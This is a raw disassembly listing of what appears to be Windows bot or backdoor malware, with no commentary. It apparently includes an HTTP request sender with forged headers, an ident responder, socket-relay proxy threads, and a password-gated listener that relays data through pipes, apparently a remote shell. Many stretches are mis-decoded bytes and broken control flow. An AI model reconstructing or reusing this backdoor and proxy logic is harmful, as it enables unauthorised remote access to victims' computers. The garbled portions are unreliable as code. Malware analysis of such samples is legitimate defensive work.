; Attributes: bp-based frame


sub_411418	proc near		; CODE XREF: seg000:004055FFp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_451464
		push	6
		push	1
		push	2
		call	ds:dword_451570
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_4514F4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_4024FB
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4114F5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_411491
		mov	eax, offset dword_4E2654


loc_411491:				; CODE XREF: sub_411418+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_451540
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		pop	esi


loc_4114F5:				; CODE XREF: sub_411418+6Bj
		push	ebx
		call	ds:dword_451588
		call	ds:dword_45144C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41D260
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_411535
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h


loc_411535:				; CODE XREF: sub_411418+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_411418	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411539	proc near		; DATA XREF: seg000:004047ECo

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	ds:dword_4514F4
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	ds:dword_451570
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_41169A
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	ds:dword_4523C4[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	ds:dword_451520
		cmp	eax, 0FFFFFFFFh
		jz	loc_41169A
		push	5
		push	ebx
		call	ds:dword_45151C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41169A
		mov	[ebp+var_C], edi
		mov	edi, 200h


loc_4115C4:				; CODE XREF: sub_411539+EAj
					; sub_411539+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	ds:dword_451584
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_411695
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_44A334
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_4161A7
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_45150C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4115C4
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_417768
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_41D100
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_408A38
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_4115C4
		mov	[ebp+var_8], 1
		jmp	loc_4115C4
; ---------------------------------------------------------------------------


loc_411695:				; CODE XREF: sub_411539+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_4116C1


loc_41169A:				; CODE XREF: sub_411539+47j
					; sub_411539+6Bj ...
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_44A3A0
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_4161A7
		add	esp, 10h


loc_4116C1:				; CODE XREF: sub_411539+15Fj
		push	ebx
		call	ds:dword_451588
		push	[ebp+var_4]
		call	ds:dword_451588
		push	[ebp+arg_0]
		call	sub_40905B
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		in	eax, dx
		pop	edi
		pop	esi
		pop	ebx
sub_411539	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116E4	proc near		; DATA XREF: seg000:004060DBo

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	ds:dword_4514F4
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	ds:dword_451570
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_411850
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	ds:dword_4523C4[ecx], eax
		call	ds:dword_451408
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451520
		test	eax, eax
		jnz	loc_411850
		push	0Ah
		push	[ebp+arg_0]
		call	ds:dword_45151C
		test	eax, eax
		jnz	loc_411850


loc_411794:				; CODE XREF: sub_4116E4+C6j
					; sub_4116E4+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451584
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_411794
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_44A3EC
		push	eax
		call	sub_41D260
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_408D3F
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	ds:dword_4523BC[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_411875
		push	esi
		push	esi
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_41183B


loc_411828:				; CODE XREF: sub_4116E4+155j
		cmp	[ebp+var_30], esi
		jnz	loc_411794
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_411828
; ---------------------------------------------------------------------------


loc_41183B:				; CODE XREF: sub_4116E4+142j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44A44C
		call	sub_41621B
		pop	ecx
		pop	ecx
		jmp	short loc_411853
; ---------------------------------------------------------------------------


loc_411850:				; CODE XREF: sub_4116E4+63j
					; sub_4116E4+97j ...
		mov	edi, [ebp+arg_0]


loc_411853:				; CODE XREF: sub_4116E4+16Aj
		push	edi
		call	ds:dword_451588
		push	[ebp+arg_0]
		call	ds:dword_451588
		push	[ebp+var_40]
		call	sub_40905B
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		inc	edi
		pop	edi
		pop	esi
sub_4116E4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411875	proc near		; DATA XREF: sub_4116E4+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41DEB0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_451570
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_411A2B
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	ds:dword_4514F4
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_451530
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_411905
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_451574
		jmp	short loc_411913
; ---------------------------------------------------------------------------


loc_411905:				; CODE XREF: sub_411875+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_4514AC


loc_411913:				; CODE XREF: sub_411875+8Ej
		cmp	eax, edi
		jz	loc_411A2B
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_411A2B
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_44A4A0
		push	eax
		call	sub_41D260
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_408D3F
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_4523C4[ebx]
		mov	ds:dword_4523BC[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_4523C8[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	(offset	loc_411A58+4)
		push	edi
		push	edi
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_411A18


loc_4119C5:				; CODE XREF: sub_411875+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_4119D4
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4119C5
; ---------------------------------------------------------------------------


loc_4119D4:				; CODE XREF: sub_411875+153j
		mov	ebx, 1000h


loc_4119D9:				; CODE XREF: sub_411875+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_45150C
		cmp	eax, edi
		jle	short loc_411A2B
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4119D9
		jmp	short loc_411A2B
; ---------------------------------------------------------------------------


loc_411A18:				; CODE XREF: sub_411875+14Ej
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44A4FC
		call	sub_41621B
		pop	ecx
		pop	ecx


loc_411A2B:				; CODE XREF: sub_411875+44j
					; sub_411875+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	ds:dword_4523C4[eax]
		call	ds:dword_451588
		push	[ebp+arg_0]
		call	ds:dword_451588
		push	[ebp+var_4]
		call	sub_40905B
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_411A58:				; DATA XREF: sub_411875+130o
		call	far ptr	0EC8Bh:555B5E5Fh
sub_411875	endp ; sp-analysis failed

		mov	eax, 1128h
		call	sub_41DEB0
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_411A93:				; CODE XREF: seg000:00411AD8j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_4523C8[esi]
		call	ds:dword_45150C
		test	eax, eax
		jle	short loc_411ADA
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_4523C4[esi]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411A93


loc_411ADA:				; CODE XREF: seg000:00411ABDj
		push	ds:dword_4523C8[esi]
		call	ds:dword_451588
		push	dword ptr [ebp-14h]
		call	sub_40905B
		pop	ecx
		push	0
		call	near ptr 3D0000h
		mov	eax, 8B555E5Fh
		in	al, dx
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4523C4[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	ds:dword_4514DC
		test	eax, eax
		jnz	short near ptr loc_411B7C+1
		push	dword ptr [esi]
		call	ds:dword_451588
		push	dword ptr [ebp+8]
		call	sub_40905B
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_411B7C:				; CODE XREF: seg000:00411B63j
		adc	al, 57h
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_45150C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_411CFD+1
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_411CFD+1
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	near ptr loc_411CFD+1
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	ds:dword_451448
		test	eax, eax
		jz	short near ptr loc_411BF5+1
		call	ds:dword_451488
		push	eax
		push	offset dword_44A554
		call	sub_41621B
		push	dword ptr [ebp+8]
		call	sub_40905B
		add	esp, 0Ch
		push	edi
		call	near ptr 3D0000h


loc_411BF5:				; CODE XREF: seg000:00411BD1j
		mov	ebx, 458D026Ah
		call	near ptr 0FF912069h
		adc	eax, offset dword_4514AC
		cmp	eax, edi
		jnz	short loc_411C20
		push	dword ptr [ebp-18h]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41D260
		jmp	short loc_411C2E
; ---------------------------------------------------------------------------


loc_411C20:				; CODE XREF: seg000:00411C06j
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41E550


loc_411C2E:				; CODE XREF: seg000:00411C1Ej
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_4E2668
		push	dword ptr [esi]
		call	ds:dword_451540
		cmp	ds:dword_4E2660, edi
		jnz	short near ptr loc_411C8F+1
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_411D58
		add	esp, 10h
		test	eax, eax
		jnz	short near ptr loc_411C8F+1
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	ds:dword_451540
		push	dword ptr [esi]
		call	ds:dword_451588
		push	dword ptr [ebp+8]
		call	sub_40905B
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_411C8F:				; CODE XREF: seg000:00411C45j
					; seg000:00411C66j
		mov	byte ptr [ebp-0AF7Bh], 0FFh
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_44A5B4
		call	sub_41621B
		push	dword ptr [ebp+8]
		call	loc_41200F
		add	esp, 10h
		test	eax, eax
		jnz	short near ptr loc_411CD6+1
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset dword_44A600
		call	sub_41621B
		push	dword ptr [ebp+8]
		call	sub_40905B
		add	esp, 0Ch
		push	ebx
		call	near ptr 3D0000h


loc_411CD6:				; CODE XREF: seg000:00411CB2j
		xor	[ebp-0AF7Bh], ecx
		call	dword ptr [eax-73h]
		inc	ebp
		aam	50h
		push	offset dword_44A64C
		call	sub_41621B
		push	dword ptr [ebp+8]
		call	sub_40905B
		add	esp, 10h
		push	edi
		call	near ptr 3D0000h


loc_411CFD:				; CODE XREF: seg000:00411B93p
					; seg000:00411BA0p ...
		mov	dh, 55h
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp-1]
		push	1
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_45150C
		cmp	eax, 1
		jnz	short loc_411D4E
		mov	esi, [ebp+0Ch]


loc_411D1C:				; CODE XREF: seg000:00411D3Fj
		mov	al, [ebp-1]
		mov	[esi], al
		inc	esi
		dec	dword ptr [ebp+10h]
		jz	short loc_411D43
		test	al, al
		jz	short loc_411D52
		push	0
		lea	eax, [ebp-1]
		push	1
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_45150C
		cmp	eax, 1
		jz	short loc_411D1C
		jmp	short loc_411D4E
; ---------------------------------------------------------------------------


loc_411D43:				; CODE XREF: seg000:00411D25j
		push	offset dword_44A69C
		call	sub_41621B
		pop	ecx


loc_411D4E:				; CODE XREF: seg000:00411D17j
					; seg000:00411D41j
		xor	eax, eax
		jmp	short loc_411D55
; ---------------------------------------------------------------------------


loc_411D52:				; CODE XREF: seg000:00411D29j
		push	1
		pop	eax


loc_411D55:				; CODE XREF: seg000:00411D50j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_411D58	proc near		; CODE XREF: seg000:00411C5Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411D83
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_44A6E8
		call	sub_41621B
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411D83:				; CODE XREF: sub_411D58+11j
		push	1
		pop	eax
		retn
sub_411D58	endp

; ---------------------------------------------------------------------------
byte_411D87	db 55h			; DATA XREF: seg000:00407AC6o
		dd 0EC81EC8Bh, 5A4h, 5608458Bh,	59786A57h, 0BD8DF08Bh
		dd 0FFFFFDECh, 0A5F3016Ah, 0DCB8895Fh, 8D000001h, 0FFFA5C85h
		dd 26850FFh, 0FF000002h, 45146415h, 3BF63300h, 501D74C6h
		dd 44A7A068h, 444DE800h, 75FF0000h, 7285E8B4h, 0C483FFFFh
		dd 21E8570Ch, 35FFFBE2h, 20056857h, 15E80041h, 0A6FFFBE2h
		dd 2975C085h, 131015FFh, 6850004Fh, 44A7ECh, 441AE8h, 0FF595900h
		dd 45144C15h, 0B475FF00h, 0FF724AE8h, 0E85759FFh, 0FFFBE1E8h
		dd 106A5352h, 56E0458Dh, 0B2DAE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002E0h, 15FFB075h, 4514F4h, 6A57066Ah, 45896602h
		dd 0E47589E2h, 157015FFh, 0D88B0045h, 0FFFFB83h, 13B84h
		dd 0B4458B00h, 0C069106Ah, 234h, 23C49889h, 458D0045h
		dd 0FF5350E0h, 45152015h, 0FC08500h, 11785h, 0FFFF6800h
		dd 0FF537FFFh, 45151C15h, 0FC08500h, 10385h, 0A85C6800h
		dd 45C70044h, 0CF0h, 0F4758900h, 0E8F87589h, 4303h, 87D8959h
		dd 0C7FC458Dh, 10FC45h,	8D500000h, 5350CC45h, 158415FFh
		dd 0F88B0045h, 0FFFFF83h, 0CA84h, 875FF00h, 5008458Dh
		dd 0FF68086Ah, 570000FFh, 14D415FFh, 0F8830045h, 0FC574FFh
		dd 0FFCE45B7h, 7589B475h, 75FF50C8h, 7C15FFD0h,	50004515h
		dd 0FBEC858Dh, 0C468FFFFh, 500044A8h, 0B357E8h,	0EC858D00h
		dd 50FFFFFBh, 4292E8h, 858D5700h, 0FFFFFBECh, 0E850096Ah
		dd 0FFFF6E1Bh, 69B84589h, 234C0h, 0B44D8B00h, 8924C483h
		dd 4523BC88h, 0DC458D00h, 0EC858D50h, 56FFFFFDh, 1AF96850h
		dd 458D0041h, 0FF5056F0h, 4F131C15h, 0B84D8B00h, 234C969h
		dd 0C63B0000h, 23CC8189h, 13740045h, 0FC87539h,	0FFFF3785h
		dd 0FF326AFFh, 4F12F415h, 0FFEDEB00h, 4F131015h, 30685000h
		dd 0E80044A9h, 428Fh, 3EB5959h,	0FF087D8Bh, 45148815h
		dd 858D5000h, 0FFFFFBECh, 44A99868h, 0B5E85000h, 830000B2h
		dd 75390CC4h, 562075C4h, 0FBEC858Dh, 75FFFFFFh,	858D50C0h
		dd 0FFFFFDF0h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFEF48Dh, 8D14C483h
		dd 0FFFBEC85h, 0C8E850FFh, 59000041h, 8815FF57h, 53004515h
		dd 158815FFh, 15FF0045h, 45144Ch, 0E8B475FFh, 0FFFF705Fh
		dd 0FDE85659h, 5FFFFBDFh, 39C0335Bh, 0F042444h
		db 94h,	0C0h, 0C3h
; ---------------------------------------------------------------------------


loc_41200F:				; CODE XREF: seg000:00411CA8p
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		push	edi
		call	sub_412160
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, ds:dword_4523C4[edi]
		mov	dword ptr [ebp-0Ch], 0Ch
		mov	[ebp-8], ebx
		mov	[ebp-4], ebx
		mov	[esi+0Ch], eax
		mov	edi, ds:dword_4F131C
		pop	ecx
		lea	eax, [ebp+8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_412332
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		call	edi ; dword_4F131C
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_41207A
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44A9F4
		call	sub_41621B
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short near ptr loc_4120B3+1
; ---------------------------------------------------------------------------


loc_41207A:				; CODE XREF: seg000:0041205Fj
		lea	eax, [ebp+8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4123E4
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		call	edi ; dword_4F131C
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_4120BB
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44AA54
		call	sub_41621B
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 3D0000h


loc_4120B3:				; CODE XREF: seg000:00412078j
		loope	near ptr loc_4120E6+2
		shr	cl, 0A0h
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_4120BB:				; CODE XREF: seg000:00412091j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp-18h], eax
		mov	eax, [esi+14h]
		mov	[ebp-14h], eax
		mov	eax, [esi+8]
		mov	[ebp-10h], eax
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		push	3
		call	near ptr 3D0000h
		xchg	eax, edx
		sub	eax, ebx
		jz	short loc_412115
		dec	eax
		jz	short loc_41210F
		dec	eax
		jz	short loc_4120FB


loc_4120E6:				; CODE XREF: seg000:loc_4120B3j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44AAB4
		call	sub_41621B
		pop	ecx
		pop	ecx
		jmp	short loc_41212A
; ---------------------------------------------------------------------------


loc_4120FB:				; CODE XREF: seg000:004120E4j
		mov	edi, ds:dword_4F1344
		push	ebx
		push	dword ptr [esi+14h]
		call	edi ; dword_4F1344
		push	ebx
		push	dword ptr [esi+10h]
		call	edi ; dword_4F1344
		jmp	short loc_41212A
; ---------------------------------------------------------------------------


loc_41210F:				; CODE XREF: seg000:004120E1j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_412119
; ---------------------------------------------------------------------------


loc_412115:				; CODE XREF: seg000:004120DEj
		push	ebx
		push	dword ptr [esi+14h]


loc_412119:				; CODE XREF: seg000:00412113j
		call	near ptr 3D0000h
		pop	esp
		push	1
		push	dword ptr [esi+8]
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------


loc_41212A:				; CODE XREF: seg000:004120F9j
					; seg000:0041210Dj
		push	dword ptr [esi+10h]
		mov	edi, ds:dword_4F12FC
		call	edi ; dword_4F12FC
		push	dword ptr [esi+14h]
		call	edi ; dword_4F12FC
		push	dword ptr [esi+8]
		call	edi ; dword_4F12FC
		push	dword ptr [esi]
		call	edi ; dword_4F12FC
		push	dword ptr [esi+4]
		call	edi ; dword_4F12FC
		push	dword ptr [esi+0Ch]
		call	ds:dword_451588
		push	esi
		call	sub_41B8B0
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412160	proc near		; CODE XREF: seg000:0041201Cp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
